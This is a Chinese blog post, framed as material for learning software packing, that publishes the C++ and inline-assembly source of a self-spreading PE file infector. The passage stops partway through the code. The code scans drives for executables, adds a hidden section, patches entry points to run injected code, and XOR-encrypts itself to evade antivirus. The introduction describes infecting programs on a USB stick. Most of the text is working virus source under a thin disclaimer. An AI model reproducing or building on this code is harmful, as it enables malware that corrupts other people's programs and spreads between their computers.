两年前写的代码,现在看不懂了,呵呵,想学习软件加壳的可以研究下。严禁编译运行,否则后果自负。

 两年前写的代码,现在看不懂了,呵呵,想学习软件加壳的可以研究下。再次重申,本代码只供学习研究之用,可以随意传播、发散。但任何人以修改、引用等任何方式对本代码的重新编译运行都是不被允许的的,其后果由编译者自负。

关键字:PE植入,PE注入,加壳代码。

如果阅读者想要尝试编译运行此代码,请务必将所有磁盘内文件夹统统设为隐藏,然后将干净的U盘插入计算机,内附一个可执行程序,然后运行此代码编译生成的应用程序PeInjection.exe。过十秒左右,打开任务管理器,结束“两个”名为PeInjection的进程。请注意,是两个,如果前面手动关掉了一个,则还有一个要通过任务管理器关闭,切记!!然后读者就可以试着运行U盘内的程序了,会使计算机发出“滴”的响声。将U盘内再拷入一个新的应用程序,再运行刚才被感染的程序,会发现新程序也被感染了,呵呵,别忘了编译运行可是后果自负哦。还有别忘了从任务管理器关闭程序!

自己慢慢阅读吧,建议没有读懂之前不要编译运行。希望大家可以学点新知识,如果觉得有用的话。祝阅读愉快!

 

// PeInjection.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"


/*********************************************************************************************************

第一步:从PE文件获得两个初始API地址的指针,loadlibrary getprocaddress。

第二步:进行自我复制,修改原PE文件,添加节区。重定位程序入口点将被杀毒软件侦测,所以,更改源程序入口点的前面若干字节,并把原始的字节拷贝至添加的节区,
 由添加的代码将其拷贝回原处。即,传播代码时将两个代码块交换,运行代码时再换过来。因为要更改可执行代码区,相应节的属性应更改为可写。
 首先将原程序入口点若干字节记录,然后,手工编写机器码,模仿初始压栈操作:
 先压入添加代码的入口地址,然后压两个初始API地址的指针,以此获得所有相关API。最后压入正常的程序入口点,函数返回后即可正常启动程序。
 更改的入口程序块负责跳转至添加的节区。添加的代码负责将被修改的字节拷贝回去。
 在母体程序中(以下代码所生成)因为函数代码要修改调用代码,函数调用代码应当放在栈中。
 为实现代码的位置无关性,所有API地址均存放于局部变量中。
 为防止入口程序块被检测,可考虑将压栈参数适当加密(异或),运行时解密。原程序入口处代码也可以这样处理。

第三步:功能代码。

===============================================================================
编码规范:

为实现代码的位置无关性,只能使用局部变量,字符串以字符形式赋予局部字符数组变量。
所有C++转移控制语句均为相对地址寻址,不必进行重定位。

变量的命名规则:
 对于函数指针,_pfunctionname;
 对于“全局”变量,g_(type)name;
 对于“局部”变量,Sx_(type)varietyname,x为1、2、3等。
局部函数的命名规则: 
 对于(局部函数)参数,PARMx_(type),x为1、2、3等;RET_(type)。
 局部函数(行标号),FNx_functionname,x为1、2、3等。
// 局部函数使用的变量,FNx_(type)varietyname,,x为1、2、3等。

行号命名规则:Sectionx_y。x、y为1、2、3等。
================================================================================
功能划分:

section1 :通过两个初始API查找所有相关API的地址,并赋给相应指针变量。

section2 :分析pe结构,将代码扩散。应当以局部函数的形式实现。接受section3传递来的文件名。
 所有局部函数都在此节实现。仅供调用,不顺序执行。

section3 :查找exe文件,调用section2。替换代码块放在此处。

section4 :功能代码,使用pc扬声器播放乐谱。然后实现代码块头的交换,准备返回。

==================================================================================
版本信息:当前版本 2.0  对桩子代码块取反加密。
编译器设置:禁止优化,禁止缓冲区安全检查。

1.0 版本 原始版本,扩散功能由添加代码块执行。
2.0 版本 改进1.0版本,对代码进行加密,运行时解密,防止杀毒软件的扫描查杀。

 

修正代码:
char rootpath[16];//={"x://*"};直接赋值将导致代码访问常量数据区,这是不被允许的。注射代码没有数据区。
***********************************************************************************************************/

 

//++++++++++++++++++++++++++++++++++++宏定义区++++++++++++++++++++++++++++++++++++++++++

//为防止调用局部函数破坏原有栈结构,局部函数定义的开始及结束需要调用这两个宏。parameter1的寻址使用ebp而非esp。
#define FUNC_BEGIN __asm pop parameter1

#define FUNC_END __asm push parameter1 /
     __asm ret

#define CALL        __asm call

//-----------------------------------------------------------------------------------------------

#define STUBSIZE    26//交换代码块的长度。

#define MAXEXESIZE  50000000//仅处理小于50M的exe文件。

#define ENCRYOFFSET 0x24//函数加密段相对于开头的偏移。应当为4的倍数。其值应当大于解密代码段的长度。

#define CODESIZE  0x3300//函数体机器码长度,此定义值大于等于真正的机器码长度,此长度由断点反汇编查看获得。应当为4的倍数。

#define ENCRYSIZEDIVFOUR 0xcb7//(CODESIZE-ENCRYOFFSET)/4


#define _VERSION_TWO             //2.0版本对代码进行加密。如果不加密,不定义此宏。

//++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

 

//parameter1为指向函数LoadLibrary地址的指针;parameter2为指向函数GetProcAddress地址的指针;additionaladdr为添加代码的入口地址。
//如果函数内部栈的使用过大将导致编译器在前面添加对_chkstk绝对地址的调用,这是致命的。
void WINAPI PEInjection(unsigned int *parameter1,unsigned int *parameter2,unsigned int additionaladdr)
{
IN_HEAD://减11为真正的开头。
 
 //加解密因子。用于v2以上版本。
 unsigned int g_uEncryption;//=(additionaladdr<<8)+(unsigned int)parameter2;

#ifdef _VERSION_TWO
///*解密代码。用于v2以上版本。代码量过大,使用此段代码需修正ENCRYOFFSET的值。
{
// unsigned int * ptr=(unsigned int *)(additionaladdr+ENCRYOFFSET);
// for(int j=0;j<ENCRYSIZEDIVFOUR;j++,ptr++)
// {
//  *ptr=*ptr^g_uEncryption;
// }
 __asm//优化代码。
 {
  mov ebx,additionaladdr;
  shl ebx,8;
  add ebx,parameter2;
  mov eax,additionaladdr;
  add eax,ENCRYOFFSET;
  mov ecx,ENCRYSIZEDIVFOUR;
ENCRYLOOP:
  xor dword ptr[eax],ebx;
  add eax,4;
  loop ENCRYLOOP;
 }
}
//*/
#endif

//全局变量定义区 
 char* g_ptrStubLocation;
 unsigned int const g_uCodeFullSize=CODESIZE;


//局部函数参数定义区
 char PARM1_char[512];//={'e',':','//','a','.','E','X','e','/0'};
//将函数地址还原
 parameter1=(unsigned int*)((unsigned int)parameter1^additionaladdr);
 parameter2=(unsigned int*)((unsigned int)parameter2^additionaladdr);
//=======================================================================================================
//section1 :通过两个初始API查找所有相关API的地址,并赋给相应指针变量。
//
//=======================================================================================================
 HMODULE S1_hmod;
 bool    S1_bIsAscii=true;//标注参数1是ascii码字符集还是宽字符集。

 if((unsigned int)parameter1&0x80000000)
  S1_bIsAscii=false;

 typedef HMODULE (WINAPI* PFNLoadLibrary)( LPCTSTR pFileName );
 PFNLoadLibrary _pLoadLibrary;
 
 if(!S1_bIsAscii)
  parameter1=(unsigned int*)((unsigned int)parameter1&0x7fffffff);
 _pLoadLibrary=(PFNLoadLibrary)*parameter1;

 typedef FARPROC (WINAPI* PFNGetProcAddress)(  HMODULE hModule,  LPCSTR lpProcName);
 PFNGetProcAddress _pGetProcAddress=(PFNGetProcAddress)*parameter2;

 

//---------------------------------------以下代码用于获得 msvcrt.dll 中所需的函数地址。---------------------------------------

//_pstrcmp     指向函数 strcmp 。
//_pmalloc     指向函数 malloc 。  
//_pfree       指向函数 free 。
//_pmemcpy     指向函数 memcpy 。
//_pstrcpy     指向函数 strcpy 。
//_pmemset     指向函数 memset 。
//_pstrupr     指向函数 _strupr 。
//_pgetdrives  指向函数 _getdrives 。
//_pstrlen     指向函数 strlen 。
//_pstrcat     指向函数 strcat 。
//
 if(S1_bIsAscii)
 {
  char S1_strLibraryMSVCRT[16]={'m','s','v','c','r','t','.','d','l','l','/0'};
  S1_hmod=(*_pLoadLibrary)(S1_strLibraryMSVCRT);
 }
 else
 {
  __wchar_t S1_strLibraryMSVCRT[16]={'m','s','v','c','r','t','.','d','l','l','/0'};
  S1_hmod=(*_pLoadLibrary)((LPCTSTR)S1_strLibraryMSVCRT);
 }
//_pstrcmp 指向函数 strcmp 。
 char S1_func_strcmp[16]={'s','t','r','c','m','p','/0'};
 typedef int (WINAPI* PFNstrcmp)( const char *string1, const char *string2 );
 PFNstrcmp _pstrcmp;
 _pstrcmp=(PFNstrcmp)(*_pGetProcAddress)(S1_hmod,S1_func_strcmp);
//_pmalloc 指向函数 malloc 。
 char S1_func_malloc[16]={'m','a','l','l','o','c','/0'};
 typedef void* (WINAPI* PFNmalloc)(   size_t size );
 PFNmalloc _pmalloc;
 _pmalloc=(PFNmalloc)(*_pGetProcAddress)(S1_hmod,S1_func_malloc);
//_pfree 指向函数 free 。
 char S1_func_free[16]={'f','r','e','e','/0'};
 typedef void (WINAPI* PFNfree)(  void *memblock );
 PFNfree _pfree;
 _pfree=(PFNfree)(*_pGetProcAddress)(S1_hmod,S1_func_free);
//_pmemcpy 指向函数 memcpy 。
 char S1_func_memcpy[16]={'m','e','m','c','p','y','/0'};
 typedef void* (WINAPI* PFNmemcpy)( void *dest, const void *src, size_t count );
 PFNmemcpy _pmemcpy;
 _pmemcpy=(PFNmemcpy)(*_pGetProcAddress)(S1_hmod,S1_func_memcpy);
//_pstrcpy 指向函数 strcpy 。
 char S1_func_strcpy[16]={'s','t','r','c','p','y','/0'};
 typedef char* (WINAPI* PFNstrcpy)( char *strDestination, const char *strSource );
 PFNstrcpy _pstrcpy;
 _pstrcpy=(PFNstrcpy)(*_pGetProcAddress)(S1_hmod,S1_func_strcpy);
//_pmemset 指向函数 memset 。
 char S1_func_memset[16]={'m','e','m','s','e','t','/0'};
 typedef void* (WINAPI* PFNmemset)(   void *dest,   int c,   size_t count );
 PFNmemset _pmemset;
 _pmemset=(PFNmemset)(*_pGetProcAddress)(S1_hmod,S1_func_memset);
//_pstrupr  指向函数 _strupr 。
 char S1_func_strupr[16]={'_','s','t','r','u','p','r','/0'};
 typedef char* (WINAPI* PFNstrupr)(   char *string );
 PFNstrupr _pstrupr;
 _pstrupr=(PFNstrupr)(*_pGetProcAddress)(S1_hmod,S1_func_strupr);
//_pgetdrives 指向函数 _getdrives 。
 char S1_func_getdrives[16]={'_','g','e','t','d','r','i','v','e','s','/0'};
 typedef unsigned long (WINAPI* PFNgetdrives)();
 PFNgetdrives _pgetdrives;
 _pgetdrives=(PFNgetdrives)(*_pGetProcAddress)(S1_hmod,S1_func_getdrives);
//_pstrlen 指向函数 strlen 。
 char S1_func_strlen[16]={'s','t','r','l','e','n','/0'};
 typedef size_t (WINAPI* PFNstrlen)(   const char *string );
 PFNstrlen _pstrlen;
 _pstrlen=(PFNstrlen)(*_pGetProcAddress)(S1_hmod,S1_func_strlen);
//_pstrcat 指向函数 strcat 。
 char S1_func_strcat[16]={'s','t','r','c','a','t','/0'};
 typedef char* (WINAPI* PFNstrcat)(   char *strDestination,   const char *strSource );
 PFNstrcat _pstrcat;
 _pstrcat=(PFNstrcat)(*_pGetProcAddress)(S1_hmod,S1_func_strcat);


//---------------------------------------以下代码用于获得 Dbghelp.dll 中所需的函数地址。---------------------------------------
//_pImageRvaToSection  指向函数  ImageRvaToSection 。
//
 if(S1_bIsAscii)
 {
  char S1_strLibraryDbghelp[16]={'D','b','g','h','e','l','p','.','d','l','l','/0'};
  S1_hmod=(*_pLoadLibrary)(S1_strLibraryDbghelp);
 }
 else
 {
  __wchar_t S1_strLibraryDbghelp[16]={'D','b','g','h','e','l','p','.','d','l','l','/0'};
  S1_hmod=(*_pLoadLibrary)((LPCTSTR)S1_strLibraryDbghelp);
 }

//_pImageRvaToSection 指向函数 ImageRvaToSection 。
 char S1_func_ImageRvaToSection[32]={'I','m','a','g','e','R','v','a','T','o','S','e','c','t','i','o','n','/0'};
 typedef PIMAGE_SECTION_HEADER (WINAPI* PFNImageRvaToSection)(  PIMAGE_NT_HEADERS NtHeaders, PVOID Base, ULONG Rva);
 PFNImageRvaToSection _pImageRvaToSection;
 _pImageRvaToSection=(PFNImageRvaToSection)(*_pGetProcAddress)(S1_hmod,S1_func_ImageRvaToSection);

//---------------------------------------以下代码用于获得 shell32.dll 中所需的函数地址。---------------------------------------
//_pImageRvaToSection  指向函数  ImageRvaToSection 。
//
 if(S1_bIsAscii)
 {
  char S1_strLibraryShell32[16]={'s','h','e','l','l','3','2','.','d','l','l','/0'};
  S1_hmod=(*_pLoadLibrary)(S1_strLibraryShell32);
 }
 else
 {
  __wchar_t S1_strLibraryShell32[16]={'s','h','e','l','l','3','2','.','d','l','l','/0'};
  S1_hmod=(*_pLoadLibrary)((LPCTSTR)S1_strLibraryShell32);
 }

//_pShellExecute 指向函数 ShellExecute 。
 char S1_func_ShellExecute[32]={'S','h','e','l','l','E','x','e','c','u','t','e','A','/0'};
 typedef HINSTANCE (WINAPI* PFNShellExecute)( HWND hwnd, LPCTSTR lpOperation, LPCTSTR lpFile, LPCTSTR lpParameters, LPCTSTR lpDirectory, INT nShowCmd);
 PFNShellExecute _pShellExecute;
 _pShellExecute=(PFNShellExecute)(*_pGetProcAddress)(S1_hmod,S1_func_ShellExecute);


//---------------------------------------以下代码用于获得 User32.dll 中所需的函数地址。---------------------------------------
//_pFindWindow 指向函数 FindWindow 。
//
 if(S1_bIsAscii)
 {
  char S1_strLibraryUser32[16]={'U','s','e','r','3','2','.','d','l','l','/0'};
  S1_hmod=(*_pLoadLibrary)(S1_strLibraryUser32);
 }
 else
 {
  __wchar_t S1_strLibraryUser32[16]={'U','s','e','r','3','2','.','d','l','l','/0'};
  S1_hmod=(*_pLoadLibrary)((LPCTSTR)S1_strLibraryUser32);
 }

//_pFindWindow 指向函数 FindWindow 。
 char S1_func_FindWindow[32]={'F','i','n','d','W','i','n','d','o','w','A','/0'};
 typedef HWND (WINAPI* PFNFindWindow)(          LPCTSTR lpClassName,    LPCTSTR lpWindowName);
 PFNFindWindow _pFindWindow;
 _pFindWindow=(PFNFindWindow)(*_pGetProcAddress)(S1_hmod,S1_func_FindWindow);

//---------------------------------------以下代码用于获得 Kernel32.dll 中所需的函数地址。---------------------------------------
//_pCreateFile     指向函数 CreateFile 。    
//_pCloseHandle    指向函数 CloseHandle 。
//_pReadFile       指向函数 ReadFile 。      
//_pWriteFile      指向函数 WriteFile 。
//_pSetFilePointer 指向函数 SetFilePointer 。
//_pBeep           指向函数 Beep 。
//_pFindFirstFile  指向函数 FindFirstFile 。
//_pFindNextFile   指向函数 FindNextFile 。
//_pGetDriveType   指向函数 GetDriveType 。
//_pGetTickCount   指向函数 GetTickCount 。
//_pCreateEvent    指向函数 CreateEvent 。
//_pOpenEvent      指向函数 OpenEvent 。 
//_pWaitForSingleObject 指向函数 WaitForSingleObject 。
//_pSetEvent       指向函数 SetEvent 。
//_pGetModuleFileName 指向函数 GetModuleFileName 。
//_pExitProcess    指向函数 ExitProcess 。
//_pSleep          指向函数 Sleep 。
//
 if(S1_bIsAscii)
 {
  char S1_strLibraryKernel32[16]={'K','e','r','n','e','l','3','2','.','d','l','l','/0'};
  S1_hmod=(*_pLoadLibrary)(S1_strLibraryKernel32);
 }
 else
 {
  __wchar_t S1_strLibraryKernel32[16]={'K','e','r','n','e','l','3','2','.','d','l','l','/0'};
  S1_hmod=(*_pLoadLibrary)((LPCTSTR)S1_strLibraryKernel32);
 }

//_pCreateFile 指向函数 CreateFile 。
 char S1_func_CreateFile[32]={'C','r','e','a','t','e','F','i','l','e','A','/0'};
 typedef HANDLE (WINAPI* PFNCreateFile)(  LPCTSTR lpFileName,  DWORD dwDesiredAccess,  DWORD dwShareMode,  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
           DWORD dwCreationDisposition,  DWORD dwFlagsAndAttributes,  HANDLE hTemplateFile);
 PFNCreateFile _pCreateFile;
 _pCreateFile=(PFNCreateFile)(*_pGetProcAddress)(S1_hmod,S1_func_CreateFile);
//_pCloseHandle 指向函数 CloseHandle 。
 char S1_func_CloseHandle[32]={'C','l','o','s','e','H','a','n','d','l','e','/0'};
 typedef BOOL (WINAPI* PFNCloseHandle)(  HANDLE hObject);
 PFNCloseHandle _pCloseHandle;
 _pCloseHandle=(PFNCloseHandle)(*_pGetProcAddress)(S1_hmod,S1_func_CloseHandle);
//_pReadFile 指向函数 ReadFile 。
 char S1_func_ReadFile[32]={'R','e','a','d','F','i','l','e','/0'};
 typedef BOOL (WINAPI* PFNReadFile)( HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);
 PFNReadFile _pReadFile;
 _pReadFile=(PFNReadFile)(*_pGetProcAddress)(S1_hmod,S1_func_ReadFile);
//_pWriteFile 指向函数 WriteFile 。
 char S1_func_WriteFile[32]={'W','r','i','t','e','F','i','l','e','/0'};
 typedef BOOL (WINAPI* PFNWriteFile)( HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped);
 PFNWriteFile _pWriteFile;
 _pWriteFile=(PFNWriteFile)(*_pGetProcAddress)(S1_hmod,S1_func_WriteFile);
//_pSetFilePointer 指向函数 SetFilePointer 。
 char S1_func_SetFilePointer[32]={'S','e','t','F','i','l','e','P','o','i','n','t','e','r','/0'};
 typedef DWORD (WINAPI* PFNSetFilePointer)(  HANDLE hFile,  LONG lDistanceToMove,  PLONG lpDistanceToMoveHigh,  DWORD dwMoveMethod);
 PFNSetFilePointer _pSetFilePointer;
 _pSetFilePointer=(PFNSetFilePointer)(*_pGetProcAddress)(S1_hmod,S1_func_SetFilePointer);
//_pBeep 指向函数 Beep 。
 char S1_func_Beep[32]={'B','e','e','p','/0'};
 typedef BOOL (WINAPI* PFNBeep)(  DWORD dwFreq,  DWORD dwDuration);
 PFNBeep _pBeep;
 _pBeep=(PFNBeep)(*_pGetProcAddress)(S1_hmod,S1_func_Beep);
//_pFindFirstFile 指向函数 FindFirstFile 。
 char S1_func_FindFirstFile[32]={'F','i','n','d','F','i','r','s','t','F','i','l','e','A','/0'};
 typedef HANDLE (WINAPI* PFNFindFirstFile) (  LPCTSTR lpFileName,  LPWIN32_FIND_DATA lpFindFileData);
 PFNFindFirstFile _pFindFirstFile;
 _pFindFirstFile=(PFNFindFirstFile)(*_pGetProcAddress)(S1_hmod,S1_func_FindFirstFile);
//_pFindNextFile 指向函数 FindNextFile 。
 char S1_func_FindNextFile[32]={'F','i','n','d','N','e','x','t','F','i','l','e','A','/0'};
 typedef BOOL (WINAPI* PFNFindNextFile)(  HANDLE hFindFile,  LPWIN32_FIND_DATA lpFindFileData);
 PFNFindNextFile _pFindNextFile;
 _pFindNextFile=(PFNFindNextFile)(*_pGetProcAddress)(S1_hmod,S1_func_FindNextFile);
//_pGetDriveType 指向函数 GetDriveType 。
 char S1_func_GetDriveType[32]={'G','e','t','D','r','i','v','e','T','y','p','e','A','/0'};
 typedef UINT (WINAPI* PFNGetDriveType)(  LPCTSTR lpRootPathName);
 PFNGetDriveType _pGetDriveType;
 _pGetDriveType=(PFNGetDriveType)(*_pGetProcAddress)(S1_hmod,S1_func_GetDriveType);
//_pGetTickCount 指向函数 GetTickCount 。
 char S1_func_GetTickCount[32]={'G','e','t','T','i','c','k','C','o','u','n','t','/0'};
 typedef DWORD (WINAPI* PFNGetTickCount)(void);
 PFNGetTickCount _pGetTickCount;
 _pGetTickCount=(PFNGetTickCount)(*_pGetProcAddress)(S1_hmod,S1_func_GetTickCount);
//_pCreateEvent 指向函数 CreateEvent 。
 char S1_func_CreateEvent[32]={'C','r','e','a','t','e','E','v','e','n','t','A','/0'};
 typedef HANDLE (WINAPI* PFNCreateEvent)(  LPSECURITY_ATTRIBUTES lpEventAttributes,  BOOL bManualReset,  BOOL bInitialState,  LPCTSTR lpName);
 PFNCreateEvent _pCreateEvent;
 _pCreateEvent=(PFNCreateEvent)(*_pGetProcAddress)(S1_hmod,S1_func_CreateEvent);
//_pOpenEvent 指向函数 OpenEvent 。
 char S1_func_OpenEvent[32]={'O','p','e','n','E','v','e','n','t','A','/0'};
 typedef HANDLE (WINAPI* PFNOpenEvent)(  DWORD dwDesiredAccess,  BOOL bInheritHandle,  LPCTSTR lpName);
 PFNOpenEvent _pOpenEvent;
 _pOpenEvent=(PFNOpenEvent)(*_pGetProcAddress)(S1_hmod,S1_func_OpenEvent);
//_pWaitForSingleObject 指向函数 WaitForSingleObject 。
 char S1_func_WaitForSingleObject[32]={'W','a','i','t','F','o','r','S','i','n','g','l','e','O','b','j','e','c','t','/0'};
 typedef DWORD (WINAPI* PFNWaitForSingleObject) (  HANDLE hHandle,  DWORD dwMilliseconds);
 PFNWaitForSingleObject _pWaitForSingleObject;
 _pWaitForSingleObject=(PFNWaitForSingleObject)(*_pGetProcAddress)(S1_hmod,S1_func_WaitForSingleObject);
//_pSetEvent 指向函数 SetEvent 。
 char S1_func_SetEvent[32]={'S','e','t','E','v','e','n','t','/0'};
 typedef BOOL (WINAPI* PFNSetEvent)(  HANDLE hEvent);
 PFNSetEvent _pSetEvent;
 _pSetEvent=(PFNSetEvent)(*_pGetProcAddress)(S1_hmod,S1_func_SetEvent);
//_pGetModuleFileName 指向函数 GetModuleFileName 。
 char S1_func_GetModuleFileName[32]={'G','e','t','M','o','d','u','l','e','F','i','l','e','N','a','m','e','A','/0'};
 typedef DWORD (WINAPI* PFNGetModuleFileName)(  HMODULE hModule,  LPTSTR lpFilename,  DWORD nSize);
 PFNGetModuleFileName _pGetModuleFileName;
 _pGetModuleFileName=(PFNGetModuleFileName)(*_pGetProcAddress)(S1_hmod,S1_func_GetModuleFileName);
//_pExitProcess 指向函数 ExitProcess 。
 char S1_func_ExitProcess[32]={'E','x','i','t','P','r','o','c','e','s','s','/0'};
 typedef void (WINAPI* PFNExitProcess)(  UINT uExitCode);
 PFNExitProcess _pExitProcess;
 _pExitProcess=(PFNExitProcess)(*_pGetProcAddress)(S1_hmod,S1_func_ExitProcess);
//_pSleep 指向函数 Sleep 。
 char S1_func_Sleep[32]={'S','l','e','e','p','/0'}; 
 typedef void (WINAPI* PFNSleep)(  DWORD dwMilliseconds);
 PFNSleep _pSleep;
 _pSleep=(PFNSleep)(*_pGetProcAddress)(S1_hmod,S1_func_Sleep);


goto Section3_Begin;
//=======================================================================================================
//section2 :分析pe结构,将代码扩散。应当以局部函数的形式实现。接受section3传递来的文件名。
//          所有局部函数都在此节实现。仅供调用,不顺序执行。
//=======================================================================================================

//--------------局部函数FN1_PEInjection-------------------
//接受文件名路径参数 PARM1_char ,实现PE植入。
//
//--------------------------------------------------------
FN1_PEInjection:
FUNC_BEGIN
{
 _pSleep(200);
 //首先检测文件后缀的合法性。
 DWORD temp=_pstrlen(PARM1_char);
 if(temp<5) goto S2_FN1_RET;
 if(!( (PARM1_char[temp-1]=='e' || PARM1_char[temp-1]=='E') &&
    (PARM1_char[temp-2]=='x' || PARM1_char[temp-2]=='X') &&
    (PARM1_char[temp-3]=='e' || PARM1_char[temp-3]=='E') &&
    (PARM1_char[temp-4]=='.') ) )
   goto S2_FN1_RET;

 char* pImageBase;//文件映像基址。
 DWORD dwImageSize=0;//文件大小。
 unsigned int addrLoadLibraryA=0,addrLoadLibraryW=0,addrGetProcAddress=0;//两个重要函数的地址
 char chLoadLibraryA[16]={'L','o','a','d','L','i','b','r','a','r','y','A','/0'};
 char chLoadLibraryW[16]={'L','o','a','d','L','i','b','r','a','r','y','W','/0'};
 char chGetProcAddress[16]={'G','e','t','P','r','o','c','A','d','d','r','e','s','s','/0'};
 char chKernel32[16]={'K','E','R','N','E','L','3','2','.','D','L','L','/0'};
 char chLibraryName[64];
 char chSectionName[8]={'.','s','i','t','h','/0'};
 unsigned int* paddr;
 unsigned int CodeAlignSize;//函数体机器码对齐后的长度
 char bitStub[STUBSIZE]={  0x68,00,00,00,00,//push 0x00000000;参数3,[+1]定位
      0x68,00,00,00,00,//push 0x00000000;参数2,[+6]定位
      0x68,00,00,00,00,//push 0x00000000;参数1,[+11]定位
      0x68,00,00,00,00,//push 0x00000000;返回地址,[+16]定位
      0x8B,0x44,0x24,0x0C,//mov eax,dword ptr [esp+12];
      0xFF,0xE0 };     //jmp eax;
 //分配内存,打开文件。
 pImageBase=(char*)_pmalloc(MAXEXESIZE+1000000);//多分配内存用于添加处理。
 if(pImageBase==NULL)
 {
  _pfree(pImageBase);
  goto S2_FN1_RET;
 }
 _pmemset(pImageBase,0,MAXEXESIZE+1000000);
 const HANDLE hfile=_pCreateFile(PARM1_char , FILE_READ_DATA|FILE_WRITE_DATA , FILE_SHARE_READ|FILE_SHARE_WRITE , 0 , OPEN_EXISTING,FILE_FLAG_SEQUENTIAL_SCAN , 0 );
 if(hfile==INVALID_HANDLE_VALUE)
  goto S2_FN1_END;
 _pReadFile(hfile,pImageBase,MAXEXESIZE,&dwImageSize,0);
 
 //仅处理较小的文件,太大的文件不处理。
 if(dwImageSize<MAXEXESIZE&&dwImageSize>1000)
 {
  IMAGE_DOS_HEADER* doshead=(IMAGE_DOS_HEADER*)pImageBase;//dos头
  if(doshead->e_magic!=IMAGE_DOS_SIGNATURE)
   goto S2_FN1_END;
  IMAGE_NT_HEADERS* pehead=(IMAGE_NT_HEADERS*)(pImageBase+doshead->e_lfanew);//PE头
  if((char*)pehead<pImageBase||(char*)pehead>(pImageBase+dwImageSize))
   goto S2_FN1_END;
  if(pehead->Signature!=IMAGE_NT_SIGNATURE)
   goto S2_FN1_END;
  IMAGE_FILE_HEADER* filehead=&pehead->FileHeader;
  IMAGE_OPTIONAL_HEADER32* optionalhead=&(pehead->OptionalHeader);
  IMAGE_DATA_DIRECTORY* datadir=optionalhead->DataDirectory;//数据目录表指针,第二项为输入表
  datadir++;//现在指向输入表。
  PIMAGE_SECTION_HEADER sectionheader,sectionheader1;

  //检测文件是否已被植入。
  sectionheader=(PIMAGE_SECTION_HEADER)(pehead+1);//节表首地址指针。
  for(int numofsection= 0; numofsection<filehead->NumberOfSections;numofsection++)
  {
   if(!_pstrcmp((char*)sectionheader->Name,chSectionName))
    goto S2_FN1_END;
   sectionheader++;
  }
//  if(optionalhead->ImageBase&0x01000000)//system32文件的加载地址,即使植入也没用,系统会自动复原文件。可以植入Windows Media Player,留着吧。
//   goto S2_FN1_END;

  sectionheader=_pImageRvaToSection(pehead,(void*)pImageBase,datadir->VirtualAddress);//输入表所在节区的节表指针。
  IMAGE_IMPORT_DESCRIPTOR* importdescriptor=(IMAGE_IMPORT_DESCRIPTOR*)(datadir->VirtualAddress-
   sectionheader->VirtualAddress+sectionheader->PointerToRawData+pImageBase);//输入表在内存中的指针。
  
  //循环查询各个导入库,查找kernel.dll库内的两个重要函数的地址指针。
  while(importdescriptor->FirstThunk||importdescriptor->OriginalFirstThunk||importdescriptor->Name)
  {
   sectionheader=_pImageRvaToSection(pehead,(void*)pImageBase,importdescriptor->Name);//importdescriptor->Name所在节区的节表指针。
   _pstrcpy( chLibraryName,importdescriptor->Name-sectionheader->VirtualAddress+sectionheader->PointerToRawData+pImageBase);
   _pstrupr(chLibraryName);
   if(!_pstrcmp( chKernel32 ,chLibraryName))//比较导入库的名称,仅对Kernel32.dll库进行处理。
   { 
    IMAGE_THUNK_DATA *firstthunk,*orgfirstthunk;
    firstthunk=(IMAGE_THUNK_DATA *)(importdescriptor->FirstThunk);//RVA值
    if(importdescriptor->OriginalFirstThunk)
    {
     sectionheader=_pImageRvaToSection(pehead,(void*)pImageBase,importdescriptor->OriginalFirstThunk);//importdescriptor->OriginalFirstThunk所在节区的节表指针。
     orgfirstthunk=(IMAGE_THUNK_DATA *)((importdescriptor->OriginalFirstThunk-sectionheader->VirtualAddress+
              sectionheader->PointerToRawData)+pImageBase);//内存地址
    }
    else//orgfirstthunk 为零,使用firstthunk李代桃僵。
    {
     sectionheader=_pImageRvaToSection(pehead,(void*)pImageBase,importdescriptor->FirstThunk);//importdescriptor->FirstThunk所在节区的节表指针。
     orgfirstthunk=(IMAGE_THUNK_DATA *)((importdescriptor->FirstThunk-sectionheader->VirtualAddress+
              sectionheader->PointerToRawData)+pImageBase);//内存地址
    }
    while(orgfirstthunk->u1.AddressOfData)//循环查询Kernel32.dll内部的函数名
    {
     if(!((orgfirstthunk->u1.ForwarderString)&0x80000000))
     { 
      sectionheader=_pImageRvaToSection(pehead,(void*)pImageBase,orgfirstthunk->u1.ForwarderString);//importdescriptor->OriginalFirstThunk所在节区的节表指针。
      IMAGE_IMPORT_BY_NAME* imname=(IMAGE_IMPORT_BY_NAME*)(orgfirstthunk->u1.ForwarderString-
       sectionheader->VirtualAddress+sectionheader->PointerToRawData+pImageBase);//导入函数的名字。
     
      if(!_pstrcmp((char*)&(imname->Name),chLoadLibraryA))
      {
       addrLoadLibraryA=(int)firstthunk;
      }
      if(!_pstrcmp((char*)&(imname->Name),chLoadLibraryW))
      {
       addrLoadLibraryW=(int)firstthunk;
      }
      if(!_pstrcmp((char*)&(imname->Name),chGetProcAddress))
      {
       addrGetProcAddress=(int)firstthunk;
      }
     }
     orgfirstthunk++;
     firstthunk++;
    }
   }
   importdescriptor++;
  }//完成    循环查询各个导入库     此时已得到两个重要函数的RVA值。
  

  if(addrLoadLibraryA==0&&addrLoadLibraryW==0)
   goto S2_FN1_END;
  if(addrGetProcAddress==0)
   goto S2_FN1_END;
  if(addrLoadLibraryA!=0)
  {
   addrLoadLibraryA+=optionalhead->ImageBase;//函数LoadLibraryA加载地址的指针。
  }
  else
  {
   addrLoadLibraryW+=optionalhead->ImageBase;//函数LoadLibraryW加载地址的指针。
   addrLoadLibraryW=addrLoadLibraryW|0x80000000;
  }
  addrGetProcAddress+=optionalhead->ImageBase;//函数GetProcAddress加载地址的指针。

  //开始对文件进行更改处理。
  //1、需要更改原PE文件入口处代码,修改节表属性为可写。
  //2、添加新的节区及节表,将代码注入。
  //3、修改原PE头内相应数据。


  //添加新的节表
  sectionheader=(PIMAGE_SECTION_HEADER)(pehead+1);//节表首地址指针。
  sectionheader+=filehead->NumberOfSections;//新节表地址指针。
  sectionheader1=sectionheader-1;//老表最后一个节表指针。


  unsigned int align;
  sectionheader->Name[0]='.'; 
  sectionheader->Name[1]='s'; 
  sectionheader->Name[2]='i'; 
  sectionheader->Name[3]='t'; 
